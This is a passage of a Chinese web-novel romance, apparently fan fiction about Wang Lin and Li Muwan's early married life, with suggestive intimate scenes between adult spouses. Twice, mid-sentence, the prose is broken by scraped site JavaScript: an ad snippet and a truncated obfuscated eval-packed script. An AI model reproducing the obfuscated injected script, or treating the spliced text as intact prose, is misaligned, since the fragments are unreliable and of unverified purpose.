王林说不清,许是她不辞劳苦替母亲腿疾翻阅医书,寻遍药草,又孤身护他双亲,追着马车允诺替他照顾父母,又或是在那每一夜的烛火下独处,一句句阿兄,一次次添茶。 “不论情起,但晓情深。”王林抵这她额间,“婉儿,往后,年年相守,岁岁相伴。” “朝朝暮暮,长相厮守!”李慕婉回应这情意。 屋外夜莺鸣啼,王林托起她整个身躯,李慕婉落进他怀中,只觉他呼吸加重了,“深更了,良辰美景不可负。” 她小脸涨红,却不见王林面带绯色,李慕婉不解,他到底是如何做到如此心平气和的。 “婉儿。”王林把人轻放上榻。 “阿兄……” “嗯?”王林蹙眉,“怎得还叫阿兄?” 李慕婉含羞一笑,朱唇轻启,“夫君……” 王林似才满意,贴上唇覆着她的柔软,能感受到身躯下的人微颤,指尖摩挲过她眉眼,“别怕。” 39.图册 王林睁眼时,光束已落院内,西厢房早晨光打不进来,帐帘又遮了些许。 李慕婉躺在他臂弯里睡得熟,呼吸清浅,长睫如羽翼微颤,晶莹饱满的唇瓣泛着粉红,唇线似有红痕,昨夜亲得狠,做得也狠,着实给她累着了。 细长的手臂还搭在他腰间,王林只能看见她露出的半张脸,瞧她睡得甜便不忍叫醒她,指尖轻抚了额前的发丝,又朝那额心点缀了下。 王林这才轻手轻脚的下了榻,屏风前穿衣的动作很轻,塌下凌乱的婚服和中衣散了满地,他束了发,又拾掇了那些衣裳,才轻推门出了西厢房。 周英素忙着早饭,王天水收拾院里的杂物,王林唤着二人,“爹,娘。” 周英素见他眼下泛着乌青,关切道:“铁柱啊,怎得起来了?多睡会不妨事,娘做了早饭再喊你们。” “娘,无碍,”王林抻着腰,又活动了几下,“孩儿给爹娘搭手收拾一下。” “婉儿也醒了?”周英素捧着水瓢。 “没,让她多睡会。”昨夜累着她了,谢三婶说得没错,新婚夜是要辛苦一些,回味起他竟有些沉浸其中。 周英素念着李慕婉,特意延迟了用早饭的时辰,巳时院里暖阳笼过屋顶,她翻了个身,手臂一搭,身侧是空的,她又继续睡,躺了一会儿,顿觉不对,身上的酸软在提醒她昨夜的翻云覆雨,她不是一个人睡的。 阿兄呢? 她无力撑起身,朝屋内扫了眼,地上的衣裳不见了,衣架只剩自己的衣衫,却不见王林身影。 “日上三竿了……”这还是她在王家第一次起这么晚,而今她已是新人妇,理应早起给高堂敬茶才对。 正准备下榻时,王林推了门进来,目光直落在帐帘内,帘内摆动,他信步而过,“婉儿醒了。” 李慕婉挑起帘,王林的身影压过来,她声音清脆,“阿兄,你何时起的?怎么不叫我。” “有一会了,家中无事,你睡晚些无妨。”王林坐上榻沿,亵衣裹了丰腴,白皙处的齿痕却尤为显眼,王林目光柔和,指腹蹭着那一块痕迹,懊恼自己昨夜没能收着些。 李慕婉这才察觉自己身上挂的亵衣还是昨夜他替自己穿上的,两颊不自觉晕开,抄着秋衾挡了些。 “我还没给爹娘敬茶,阿兄应早些唤我才是。” “怎得还是阿兄?婉儿昨夜不是这么唤的。”王林歪头审视她,李慕婉避开眼神,她一时半会改不过来,昨夜一声声的夫君只因情到浓时,便自然唤得出口。 “婉儿,婉儿还没习惯……” 等他逗够了也就不为难她了,那可怜劲儿当真叫人不忍,“婉儿喜欢怎么叫便怎么叫。” “还睡吗?”王林手臂搂过她腰后,把人捞近一些。 李慕婉摇摇头,再睡该叫人笑话,哪有新娘子睡得这么晚的,若在京城,婆家也该数落了。 王家人心宽,自不会在意这些小节,而且父母也清楚她不是嗜睡之人,在王家住的大半年里她从未犯懒,小夫妻夜里闹腾些也是人之常情。 “阿兄,你转过去,婉儿先换衣裳。”李慕婉推开他,可王林没有要动的意思,吊着剑眉状若不明。 “你在这我如何换?”李慕婉声音略急,看似都要哭了。 王林轻笑出声,起身去衣架给她拿了衣裳,懒懒道,“婉儿哪我没看过?换个衣裳也要避讳夫君吗?” 李慕婉闻声面色越发难看,倒入被褥里,衣裳盖了脸,他怎的成亲后说话都不像以前了,既然还能脸不红心不跳地讲出来。 “你出去!”李慕婉羞涩极了,恨不得躲得严严实实的。 “我在屏风外等你。”王林摸了摸衣裳藏起的头。 听着动静走远,她才探出头,长发揉在面颊上,乱糟糟的,身上也是粘腻得紧,视线又扫过一圈,榻前的桌子放了个木盆,水还是温的。 王林坐在长木桌前,手里拿了本书翻阅着,听得屏风后手帕浸入水里又拿起拧干的声音,她擦得仔细,把那些残留的余物擦净才重新换了衣裳。 发髻挽得整齐,却只用了枝桃木莲花簪,还是先前王林送的那支,妆盒里的珠钗首饰不是没有,她却独独喜爱这支。 “阿兄,”李慕婉拾掇好,朝屏风前的王林唤,“你的话本第一卷写完了,第二卷还要去书铺写吗?” “怎么了?”王林仅侧了头,却没回过头看里面的光景。 “你若是还去书铺写,婉儿就陪你一块去,这样也能回药铺炼制丹药。”李慕婉点上胭脂,瞧着铜镜里的自己这才满意。 “我还没想好。”王林道,“县里私塾请我去当先生讲学,婉儿觉着我要不要去?” 李慕婉身影出了屏风,“私塾先生好是好,可阿兄若去了县城,那婉儿岂不是,岂不是要好久才能见着你。” “过来,”王林伸出手,“我也是这么想的,若不去我就在家里写,东厢房已经给你收拾好了,以后就是婉儿的药房,你想怎么用都成。每日往镇上跑,来回路程远,我怕你吃不消,加之马上就入冬了,雪天更是不易行走。” “嗯,”李慕婉挨着他身侧,“对了,阿兄,先前婉儿忙着一直没能看后边的情节,青木去了凡间化凡后回去找清影了吗?” 王林敲了敲她额头,不愿透露,“婉儿得空自己看。” “婉儿,铁柱啊,吃饭啦。”周英素站在堂屋前朝西厢房喊着。 “有没有嘛?”李慕婉磨着他,撒娇道。王林偏就不说,“自己看。” 李慕婉身躯被带着往外走,“娘喊吃饭了,婉儿的茶还没敬呢。” 出了门她便收起那份俏皮,温婉端庄的走到正堂,与二老敬茶后一家人才用饭。 周英素满心欢喜,看李慕婉这个儿媳哪哪都喜欢,原先也是当女儿看的,父母的嘴角压不下去,王家人肉眼可见的开心,周英素连连给她碗里夹菜,直到碗堆成了小山坡这才作罢。 “婉儿多吃些,太瘦了。”从前为攒银子给王林上京城考试,日子过得持简些,眼下不同了,王家没了外债,王天水木雕生意赚来的银子就能供家里开支,还能存下不少银子,加之王林写话本赚来的银两,已经能够在镇上买一座宅院。 王家父母的意思就是叫他攒下的银子在镇子买套宅子,如此成婚后二人住一块能方便些,不会委屈了李慕婉。 可李慕婉喜欢王家村,也喜欢竹林小院,镇子虽说方便,却没有小院清净。 况且念及王林孝心,他也不会撇下二老去外边长住,可王父王母习惯了在王家村,又怎会到镇上去,最后决定还是留在竹林小院生活。 这有他们的记忆,她喜欢竹林小院。 “爹娘也吃,”李慕婉洋溢着笑,“明日婉儿早些起,早饭就交由婉儿吧。” “不用,家里的活不用你做,你就看看医书,练你的丹药就行,铁柱帮我就行。” “嗯,你娘说得对。”王天水附和道,“铁柱能做,院里的活不用你忙,若是觉着无事,就打理院里的花草吧。” “爹娘都心疼婉儿,那孩儿可得养仔细些。”王林戏说,王家人跟着笑。 正堂的欢声笑语久久游荡,秋风一起,院子总有枯叶落下,原先种的草青黄相间,这个季节花也都谢了。 饭后王天水刻着木头,王林与他同座,“爹,孩儿成家了,也能赚银子养家,您和娘无需那么辛苦,因着常年久坐木雕,您的腰不好,娘也是,做女工眼睛都看花了,这种活计往后都别接了吧,孩儿写话本攒了些银两,县城书院也有意请儿去教学。” “县城?”周英素擦着置架上的灰尘,“县城未免远了些。” “男人总要有事业,孩儿总不能指望靠爹爹木雕养一辈子不是。” “木雕是家传手艺,”王天水抽了一口烟,“爹现在也不仅仅为了赚钱,这几十年刻习惯了,停不下来,一停就觉有愧这门手艺啊,铁柱啊,你可明白爹的心意?” 王林微微一叹,“孩儿知道,爹不想弃了这门手艺。” “铁柱你想好了?要去县城?”周英素给二人倒了茶,“你跟婉儿才刚成亲,此事再好好思量思量?你先前不是去书铺写话本了,婉儿说你那话本还有好几卷,娘也不懂,书铺掌柜那不能写了?” 王林自有成算,“此事自要与婉儿商议的,书院说了不急。” 李慕婉拿了药贴立在堂屋外,听得三人的谈话,她扬声入内,“阿兄说爹的腰这些日子总是疼,婉儿在铺子做了些药贴,贴几天就能止疼。” 几人停了谈话,王林看着她走近,拉过人往自己身侧来,“婉儿日前不是说缺了几味药?” “哥哥从燕州寻到了,这几味药赵国稀有,但楚国却常见,哥哥托燕州结识的药商带了些,燕州临界楚国,这些药材好买。”李慕婉把药贴摊开,“早晚贴一副就好。” “婉儿有心了,我们王家娶了个好媳妇。”王天水道。 “先前阿兄去京城,婉儿能照顾好爹娘,”李慕婉握着王林的手,正肃道,“阿兄想去县城讲学,放心去就是,婉儿在家照看爹娘,你不必担心什么。” “我知道阿兄有自己的打算,你要做什么,婉儿都支持。”李慕婉继续说,“县城虽是远了些,半月能回一次也好。” “我若去了县城,婉儿不同我去?”王林望着她,她倒是没思量过自己,处处都是替他着想。 “我照顾好爹娘,守着这竹林小院,等阿兄回来。”李慕婉温声道。 王林泛起暖意,却未立刻应下,她能舍得自己,可自己还未必舍得她,新婚第一日,他望着人这般知心,忍不住泛着情愫。 “此事再议。” 周英素摇摇头,“孩他爹,我给你把这药膏贴好了,你二人回去歇歇。” 王林正有回房的意思,周英素心里明着事,李慕婉没想回,还念着要把东厢房再收拾收拾。 王林已经推着她走了,檐下李慕婉回头仰着他,“阿兄,我想去东厢房收拾一会儿。” “先不急。”王林手牵着她,“晚些我陪你一块儿。” “为何要晚些?”两人已经入了房门,眼见王林掩上门后上了锁,“阿兄可是有话要单独与我说?” “是。” “阿兄说吧,婉儿听着呢,”李慕婉瞳孔微张,倾听着,“是不是去县城的事?” “不是县城的事。”王林见她那模样很是可爱,还不知自己要入狼窝了,“是我与婉儿的事。” “嗯?”她还未来得及思索,身躯被人腾空抱起,害怕的她只能手臂勾过王林脖颈,“阿兄这是做什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 她背贴上被褥,平坦的床榻受着二人力量微微下沉,“做该做之事。” “青天白日,朗朗乾坤,阿兄,读书人不是最讲礼数规矩嘛,你怎能,怎能白日……” “白日什么?”王林手指放在她衣领处,等着她说明白讲清楚。 白日宣/淫,李慕婉讲不出口。 “婉儿既说不出,那便怪不得我了。”他俯身而下,覆上自己的气息。 红帐落下,红被浪滚,白日看得越发清楚,身前的胸膛结实压着她视线,双臂抱着的宽背弓起,李慕婉腰被轻而易举抬起,“夫君,别……” 王林似听不见,与李慕婉换了位置,她坐着这个位置,属实怪异。 “我,我想下来。” “不喜欢这般?那换一种,婉儿喜欢哪般?”王林又换了姿势,李慕婉脑子空了。 这与她所认知的王林截然不同,他平日端方肃正,偶尔会逗趣自己,可如此浪性,她属实一时无法适从,可那张脸一看却是正经无二。 他是如何做到面不改色又说着那些话的。 “阿兄,你怎得知道这些的?”李慕婉躺下了,还是觉着这样舒适一些。 “阿兄也看过避火图册吗?”成婚前喜婆给她看过,她能想到的便是王林许也是看过。 “避火图册?” “嗯,若阿兄没看过,又怎会识得那么多?” “婉儿不知,有些东西,无师也能自通么?”王林咬下她耳垂,酥软遍布全身。她再不经事,也该清楚了。 日光坠西,西厢房才支开窗,汗淋淋的王林拿了帕巾擦背,身上线条清楚,宽背几道抓痕还未散。 李慕婉淌在热浪里久不能回神,腰用尽了力,无力得很。 她枕着软褥,遐想着“新婚夫妻都会如此吗?若过了新鲜劲儿,可还会如此粘腻?” 见她神游在外,王林抚了抚她面颊,“婉儿想什么呢?” 忽而她想定了,“两情若是久长时,又岂在朝朝暮暮。阿兄去县城吧,婉儿会在竹林小院,等你休沐回来的。” 分离这事,她比王林看得还要明白,也有一个原因,距离会让两情越发思念,思念情更长。 “你舍得我?”王林道。 自是不舍的。 “我知你会回来,那么等就成了一种期盼,有盼头的等不会孤寂,反倒是一种幸福,可若是没有尽头的等待,便是永无止尽的深渊,那才叫世间酷刑,若这世间有人千年苦守一人,终得厮守一生,那么也是值得的,阿兄觉着呢?”李慕婉说。 “若能朝朝暮暮,我不愿一人独守那漫长的孤寂。婉儿,我……” 李慕婉吻了上去,轻柔的厮磨着,又松开了,眼神茫然望着他说,“阿兄,此生有婉儿相伴,定不会苦守孤寂。” “有婉儿此话,我王林心足。” *** 婚后李慕婉忙于东厢房炼制丹药,王林还未去县里,偶会陪她一块炼丹,也会陪王天水在正堂木雕。 他回了书院的信,要一个月后再上工,书院那边也是允了他的条件,毕竟能请得前探花郎来书院讲学,是莫大的荣幸。 只是有一事,李慕婉这几日都觉不大对劲,正在院里晾晒被褥的她见王天水和周英素准备外出,不免关心道:“爹娘又要出去吗?” “啊,”周英素点了点头,拉着王天水,“你谢三婶家里要酿冬酒,我跟他爹去帮帮手。” “那午饭还回来吃么?”她甩了水珠,水珠洒在发鬓里,接了日光就好似点缀的星点,“我跟阿兄做饭等你们回来。” 王天水镇定摆摆手,“不回不回,你二人顾好自己就成。” 李慕婉似有失落,前日要去王浩家帮忙打理新进的绿植花卉,昨日要去镇子木雕铺子看木雕,今日又要去花影家,怎得突然就忙起来了。 王林从西厢房抱了书来晒,见李慕婉望着院门神游,王林问道:“婉儿,瞧什么呢?” 李慕婉踮起脚拉着被褥,王林放下手里的书,过去帮手,“没休息好?我来吧,你去歇着。” “阿兄,”李慕婉说,“爹娘这几日为何总要出去,他们是不是有事瞒着我们啊?” “有么?”王林不以为意,满脸悠闲。 “早出晚归的,日中也不回来。”李慕婉说,“阿兄不担心么?” “想不明白?”王林臂弯给她搂近怀里,自己单手理平了被褥。 “明白什么?”她怔怔问道,眸子转动着。 “爹娘这是有意给咱们腾地方呢,”王林见她问得憨,忍不住朝那红唇落下一吻。 “腾地方?”李慕婉仰着脖颈,思忖片刻,似明白了,一副羞愧难当的模样。 “都怪你。”她嘴里怨念着。定是他动静闹大了,爹娘这才整日外出。 “嗯,怪我,”王林依着她,继而又挑起笑,“既然爹娘苦心孤诣,还是不要拂了爹娘的心意为好,婉儿觉着呢?” 李慕婉只觉不妙,正要逃,却被他横抱起,径直去了西厢房,“阿兄,你放我下来,婉儿刚换的被褥。” “无碍,脏了我洗。”房门刚开又合,似有物件从案台掉落的声音,闷哼成了娇啼,院外风凉,夹杂了早冬的寒气,却驱不尽屋内的热流。 40.下棋 竹林小院常见双影相伴,出双入对,夕暮前王林要去村东头挑水,李慕婉捧着他写的话本跟出去,竹林小道枯黄满色,竹叶随风起,落入她的话本上。 李慕婉星眸盛满了疑惑,仰头望着王林问:“阿兄,为何青木不回去寻清影?若他知晓清影为给自己制作青龙玉简而损耗了寿元,那该多自责。” “若修为不够,便无法守护重要之人,当务之急青木要提升修为,他会回去寻她的。” “可久别重逢后的生离死别该是何等残酷。”李慕婉很是惋惜,眸间散过伤色。 王林不愿她伤神,一手扶着肩上的担子,一手抓过她手腕缓缓下滑覆上大掌,李慕婉手被攥得紧,合上了书。 “天若有道,定不会让有情人分离。”王林幽幽道。 林间小道里荡着李慕婉的声音,他们还像从前一样,王林总是倾听着,视线一直注视着她一颦一笑,偶尔瞥一眼脚下的路。 回到小院,王天水和周英素还未归,两人一块做活,李慕婉收了院里晾晒的衣裳,出来见王林端着木盆,盛了些鸡食走去鸡圈。 “阿兄,需要婉儿帮忙么?”李慕婉小步跟上。 王林陡然顿步,李慕婉额头磕在宽背上,后退小半步,王林转身俯视着她,递过鸡食,“那婉儿进去喂?” 李慕婉踟蹰许久,掠过他身影望着鸡圈里嘶叫的鸡鸭,有些为难。王林挑眉逗趣她:“怎么了?” “还,还是阿兄喂吧,婉儿怕……” “那你站边上,”王林抓过她手臂,靠在鸡圈栅栏边,长腿跨进去,“婉儿陪着也算是帮忙了。” 那些鸡鸭见着人就群起靠近围在王林脚下,一窝母鸡带着幼崽蜷在鸡舍里,李慕婉指着一侧,“阿兄,那是前几日刚孵的小鸡。” 王林扫了一眼,弯腰捧了一只放她手心上,还道了一句:“刚孵出的小鸡啄人不疼。” “嗯,”李慕婉会心一笑,指腹轻轻抚着绒毛,“阿兄,娘每日喂鸡后都能捡着蛋,你看看鸡舍里有没有?” 王林闻声又钻了进去,果然找到几颗。 “好了,放回去让它吃点食,”他接过李慕婉手中的小鸡,又把鸡蛋放她手里,“拿着这个。” “还是暖的呢。”她受着蛋壳上的余温,“应是刚下不久。” “待会给婉儿炒鸡蛋吃。”王林跨出鸡圈,领着人一道回了前院。 “不能吃,娘要拿这些蛋再孵小鸡的。”李慕婉道。 王林轻笑一声,“无妨,母鸡还能再下,给婉儿吃的,娘自是乐意。” 院里暗沉后,王林在厨房里忙碌,院里梅花树下李慕婉挂上刚点的灯笼。 见王林出来盛了水入内,她也跟过去,“阿兄,婉儿来生火。” 原先周英素煮饭时,她打打下手也会帮忙生火,这活她熟,拉了个矮木墩坐下就往里添柴。 王林看她,“婉儿,小火。” “哦。”李慕婉撤出柴。就蹲在灶头前,火光衬得小脸绯红,王林挺拔的身躯背着她,只能看见发带垂在墨发间。 “阿兄,爹娘不回来吃晚饭么?” “许是在谢三婶家吃了。” 锅铲碰撞着铁锅发出声响,油热滋滋往上窜,王林叮嘱道:“婉儿,躲远些,别烫着了。” 李慕婉挪了些位置,王林又道:“婉儿,添柴,大火。” 她往灶里添了柴,又觉不够,朝那火光吹了吹,锅里沸着热气,小脸蹭了灰炭,王林用筷子夹了些递给她:“婉儿尝尝,咸了还是淡了?” 李慕婉凑近,张嘴抿了抿味道,漾起笑来:“味道正好。”王林这才自己又尝了味。 见她面颊和鼻尖上都蹭了灰,王林抬着手背给她擦了擦,擦不干净。索性放了手里的东西,凑近了瞧,这一擦脏污块更大了,王林不禁笑了笑,李慕婉无辜道:“阿兄笑什么?” “哪蹭的?”他摊开手给她看指尖的污渍。李慕婉抬手要擦,被王林止住了,“别动。” 他从水桶里沾湿了手上的绷带,细细擦了好一会儿,这才干净的。“好了。” 她吹火的时候近乎整张脸埋入灶里去,何时蹭的自己也不知,她那样子委实可怜又委屈,可怜劲儿让人心头一热,王林扣着她脑袋后仰,朝温热俯身落了轻轻的一个吻,又若无其事地盛起锅里的菜。 李慕婉还陷在柔情里,又听他道:“愣着做什么,吃饭了。” 撩拨了她又一本正经的当无事发生,他总能这样镇定自若,李慕婉暗自叹了叹,进去正堂收拾了桌子。 二人用完饭后又一块收拾了厨房,李慕婉身上出了汗,王林给她烧了水,后院净房传来出水声,王林身影漫在外头,心绪飘然,净房不大,容不下两个人。 亥时王天水和周英素才回到小院,李慕婉给周英素熏了艾,王林替王天水贴上药贴,几人在堂屋谈起入冬前要备的事宜,李慕婉一一记下。 西厢房白日安分了几日,李慕婉来了月事,王林念着她身子,没再痴缠着,可二人如胶似漆怎得都分不开,窝在房里看书时,也要黏在一块。 王林半倚在床头,手里拿着话本,李慕婉躺在他胸膛上,看完一页,他便给她翻页,看了好一会儿,李慕婉泛起困意,眼皮打着架,身躯慢慢往下垂,面颊贴着他胸膛。 王林手臂微动蹭了蹭她,见无反应,搁了话本,给她盖上被褥,又吹了烛火,身前微微叹着匀称的鼾声。 初冬将近,屋内掩了窗户,冷风进不来,暖热笼着身子人便容易犯困。 早间寒气重,王林醒后李慕婉还睡着,早饭才叫醒人,吃过饭她便入了东厢房制丹药。 王林则在堂屋拿了几根木段雕刻,半成品的木雕看得出来是李慕婉的影子,长木桌上摆了一排,有披发的李慕婉手里拿着串冰糖葫芦,挽起发髻的她,手里提着莲花灯,捧着医书的她,拿着海棠花的她,添茶的她…… 他把印象中的样子都刻下了,李慕婉回正堂时,见着一排的小像满是诧异,趴在王林肩头细看,不明所以道:“阿兄,为何刻这么多婉儿?” 王林挑着浅笑,淡淡说:“闲来无事。” “阿兄若是无事,陪婉儿下局棋,好不好?”李慕婉下颚抵着他颈窝,“哥哥送的棋盘摆放着也不见你下。” “嗯?”王林侧头贴着她,停了手里的动作,“婉儿不悔棋?” “我何时悔棋了?”李慕婉退开距离,满是怨怼,“阿兄莫不是觉得每次都能赢婉儿?” “那倒是能。”王林戏谑说,“输了可得有罚才行。” “可以,阿兄定就是。”李慕婉昂首信心十足,先前下过几局,王林没让着她,她输狠了,把自己都输进去了,偏又不信邪,最后腰受不住,才低头认的输。之后再不敢提下棋之事。 今日她月事来了,倘若输也不怕王林,心里暗想着这才敢提。王林从房里拿了棋盘出来,白梅树下的竹案刚好放下一盘棋。 李慕婉已经迫不及待了,指尖捏着棋子,却又不急着下,打量了两眼王林后才落子。 “若阿兄输了,也要允婉儿一件事。” “婉儿定就是。”王林执棋缓缓落子,目光一直都在她身上,李慕婉布局紧密,经过几次交锋,她已摸清王林的棋招,若他探不清敌方意图,便选择防守,观察破绽后也不主动急着出击,而是沉稳地引敌入局。 李慕婉偏就不入套,比的就是一个耐性,可她眉目拧着凝重,王林费了心神,她的棋下得并不烂,能让他十分精神对待,王林已然钦佩。 只是她挖了好深的陷阱,无论他如何落子,李慕婉都有后手,见她势在必得,王林没再抵抗,黑子落下。李慕婉提醒道:“阿兄,落子无悔。” “婉儿觉着,我还有退路吗?”王林怀着欣赏目光看她,满心欢喜。 李慕婉得意溢于表面,“阿兄以为自己在窥视婉儿,殊不知婉儿也在窥视阿兄。你早些若是乘胜追击,婉儿说不定已经落了下风,阿兄每一步都走得很稳,可婉儿也把你看透了。” “如何?”她等着奖赏一般,得意洋洋道。 王林顺势应着她,“吾妻婉儿,棋高一筹,夫君甘拜下风,还请夫人手下留情。” 李慕婉雀跃起身移到他腿上,王林张了双臂,轻松给人抱到腿上,“婉儿说吧,要提什么条件?” “阿兄去了县城书院教学,能不能常回来看看婉儿?” “自是要常回的,怎得就这么个条件。”王林抚过她发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王林扣着她脑袋往自己躺前贴,水雾浸着她轮廓,也没躲。 “知道了,怎么跟娘一样唠叨?你若不放心,跟我一块去吧。” 李慕婉又何尝不想,可他是去讲学的,也未必一起就能安定,待在他身边只怕给他麻烦,让他心有压力,倒不如替他守着父母,至少能解了后顾之忧。 她岔开了话题,“阿兄,我教你识药可好?” 彼此都心知,心里揣着不舍,若再提只怕加重对方心里的顾虑,他也就点到为止,应着她:“好。” 李慕婉翻了医书,每一类药草的药用功效都讲得极其详细,还都是针对普遍常见的伤寒之药。 倘若受凉烧热,他也能知道什么药管用能治。可她大抵是关心则乱了,县里的药铺比清平镇多,也大,诊所医馆自是不在话下。普通的伤寒杂病也能治好。 可王林不想拂了她的心意,心里都一一记下了,为让她能安心,还复述一遍李慕婉这才作罢。 “明日婉儿要去镇子一趟,把药送去书屋和药铺,也许久没看哥哥了,阿兄陪婉儿去吧。” “好,那早些歇息,夜深了。”王林替她收好了医书,发髻上的钗环卸下,她脚无需着地,人就到了榻上,冬褥盖着半个身子,她空了外头一半床榻,等着王林上榻。 书案上的烛台吹灭,仅留了一盏床头的油灯。 他褪下外衫后才上榻,躺下后手臂自然抬起把李慕婉抱入怀中,没过多时被褥里暖起来,李慕婉就枕在他胸膛。 “阿兄,我教你的药理可都记住了?”她指尖在他喉结处滑动着。 王林给她抓停了,“记住了。” 李慕婉仰起头,“阿兄,你到了县里就给我写信。” “好。”王林应着她。 “阿兄,若是婉儿得空,去县里看你,好不好?”李慕婉声音越发低了。 “好。”枕着的胸膛好似深吸了一口气,轻微起伏着,王林抱着的手臂紧了些,下颌蹭着她额心,手臂用力抬起她来,吻了上去,唇齿交缠许久,热气都重了。 李慕婉被问得昏沉,他压抑着,哑声说:“婉儿,歇息吧。” 41.书案 清平镇的港口停的商船卯时就起帆了,街道商铺晨时三刻陆陆续续开了门,李奇庆在柜台上拨着算珠,李慕婉人未到声音先传了进去。 “哥,婉儿回来了。” 算珠声断,等了片刻,李慕婉和王林一前一后。 李奇庆招呼二人落座,又沏了热茶,李慕婉把丹药拿给他,“哥,这是这些日子婉儿制成的丹药。” “对面书铺的掌柜隔三差五就来问你的丹药何时送来,那些书客都等着呢。”李奇庆喝了一口茶,看着王林又说,“还有你那第二卷的《逆仙》何时出,书客都催更呢。” “我的丹药自是不成问题,阿兄的书可就不好说了,过些日子,他要去县里上工的。”李慕婉道。 “县里?” “没错,”王林手里转着茶盏,“书院缺先生,便请了我去。”他似乎察觉到李奇庆的疑惑,也一并解释着,“休沐之日便回来看看爹娘和婉儿。” “县里倒是有些路程,来回都要一日,你二人刚成亲,怎的就要分离两地,婉儿也舍得吗?”李奇庆视线看过李慕婉,自家小妹他最是清楚了,即便舍不得想必为了王林也甘愿。 “阿兄喜欢做的事,婉儿自当支持,况且县里而已,半月也能回一次的。”李慕婉说,“哥,最近的生意如何?” “都是燕州的单子,怎么?” “先前那几味稀有的药,哥哥再拖人带些回来呗,婉儿新研制的丹药少那么几味,药效略次。” “正好上回留了一些,你都拿去。”李奇庆起身去药柜拿来给她包好。 几人闲谈了多时,快酉时二人才辞行,李慕婉去了布庄买了好些匹布,要给王林做几身冬衣,护膝,绷带,靴子也不能少。 王林在这些细枝末节里体味着她的不舍,她虽不言,却都心里记挂着。 王林去长乐县已是半月后,书院讲学的课安排的时间还算宽裕,每日也只有两个时辰要待在书院里。 王天水又接了一批外商的木雕,周英素闲不住,也领了女工回来,李慕婉除了炼丹的时候,其余时间帮衬周英素协理家务。花影也偶尔来寻她上山采药。 原以为王林走后她会闷闷不乐,却看她每日乐得自在,光是炼丹就已经费了大部分心神。 闲时陪周英素到村里人舍串门,都知她制的清心丹养身药效非常,李慕婉也会送一些给乡亲们,可乡亲们不能占了自家人便宜,会回她一些银钱,虽说不多,为了让他们安心,李慕婉也接了。 王家村入了冬,王林隔两日便一封家书送回,早两日李慕婉便收到他信中说今日要回,李慕婉早早就去村口等着了。 可回来的马车牛车都没有他的身影,眼见天色暗下,田间的村民回了屋舍,李慕婉还在等,海棠花树下靠着的身影越发落寞。 夜幕降临后,已经看不清道口,可黑暗里一道熟悉的身影越来越近,李慕婉原先怔愣了会,须臾间又露喜色,猛然小跑步子上前,隔了些距离,她便冲了出去,衣袂飘起,甜甜喊着:“阿兄,接着我。” 王林肩头还背着包袱,双臂张开接住了人,被冲得退了半步,二人原地转了一圈。 “婉儿。”他声音里略有震惊,可又涵盖了喜悦。 “阿兄,你怎得回来这般晚,婉儿好等。”她端详着那张久违的轮廓,星光微弱,衬得他五官越是深邃。 “怎么来这里等?”王林双臂托着她,李慕婉伏在他膛前,他得仰着脸看她。 李慕婉不作声,抚着他眉眼,额间湿湿的,应是赶路渗出的汗。 田间回来的村民经过,朝二人瞅着,言语揶揄道:“铁柱回来了?婉儿等了半晌可算等着了。” 王林朝他点头,把李慕婉放了下来,李慕婉面颊藏入他肩头,含羞着。 那人也识趣,走远了,李慕婉抱着他手臂往回走。“你等了好久?”王林搂紧她。 “嗯,”李慕婉沉沉说,“腿都疼了。” 王林蹲下身心疼着轻声说,“上来。” 李慕婉没有犹豫,趴上宽背,面颊埋入颈窝,热气滚在他脖颈里,王林只觉痒痒的,那痒意从喉间滚到脑子里。 “阿兄,你为何回的这般晚,可是路上遇着什么事了?”她声音轻柔,如冬日暖阳,流过寒风。 “坐的马车走到一半坏了,我只能走回来,才让婉儿等了这么久。”王林走路时脸偏向她。 二人面颊贴得很近,“那阿兄定然也很累了,放婉儿下来吧,我自己走。” “背着婉儿自是不觉得累。”王林掂了两下她,身上的重量对他而言并不重,况且日思夜想的身影此刻与自己贴着,他才有了些许抚慰。 恨不得将人紧紧搂在怀里交颈厮磨。 “好,爹娘等着呢,娘还特意给阿兄做了爱吃的酱牛肉,可香了。” 说着她肚子咕咕叫了几声,宁静的小道上听得格外清楚。 “饿了?”王林笑了笑,宠溺道,“那阿兄走快些。” “阿兄,你在书院讲学可累?”李慕婉替他擦了鬓间的湿气。 “不累,讲学是传道授业解惑的过程,不仅是传递知识,还能修养身心,提升自身,我很喜欢这种感觉。唯一憾事便是不能与婉儿和爹娘朝暮相处。” “阿兄做自己喜欢的事,婉儿很高兴。” “到了。”王林立在院前,厨房飘出酱牛肉的香气,赶路的疲惫有了缓解,李慕婉拍了拍示意要下来。 王林不放,大步迈了进去,背着人绕在院里喊着爹娘。 周英素捧着酱牛肉站在厨房门框前,见着二人笑得合不拢嘴,满眼慈爱:“诶,铁柱回来了,婉儿等了好久,可算回了。” 李慕婉面色红润,低低娇嗔哄着他:“阿兄,快放婉儿下来。” 身后的手松开,李慕婉拿下他的包袱放入西厢房,王林往正屋去,王天水刚拿出烟斗要抽,便见王林进来,他喊了声“爹”,王天水点头,“铁柱回来了,你娘马上做好饭了。” “书院上工如何?你的家书婉儿都给我们念了,可别报喜不报忧啊。” “不会的爹,孩儿好着呢,就是心里总挂着你们。” “那就好,我跟你娘都好,婉儿把家里打理的也很好,你不必操心。” “孩他爹,铁柱,吃饭啦。”周英素端着碗筷进来,李慕婉端着饭菜跟进来。 “阿兄信上说想娘做的酱牛肉,娘早早就备好了,就等着阿兄回来。”李慕婉盛了饭,挨着王林坐下,王林接过她手里碗。 席间断断续续谈着家长里短,譬如哪家的母鸡孵了小鸡,牛生了幼崽,谢三婶家种的冬菜冒出新苗,长势不错,王浩接管了父亲的花卉生意,院里新种的几株山茶就是王浩那送来的。 吃完饭后李慕婉要帮忙收拾碗筷,周英素不要她忙活,抢了她手里的碗筷,很是替小两口着想,“婉儿歇着,陪铁柱说说话。” 王林也没多说,手臂轻搭着她,在堂屋待了一柱香,洗漱完后二人都呆在房里。 李慕婉添了灯油,点了熏香,屋内气息甜腻,并非以往的提神香味。 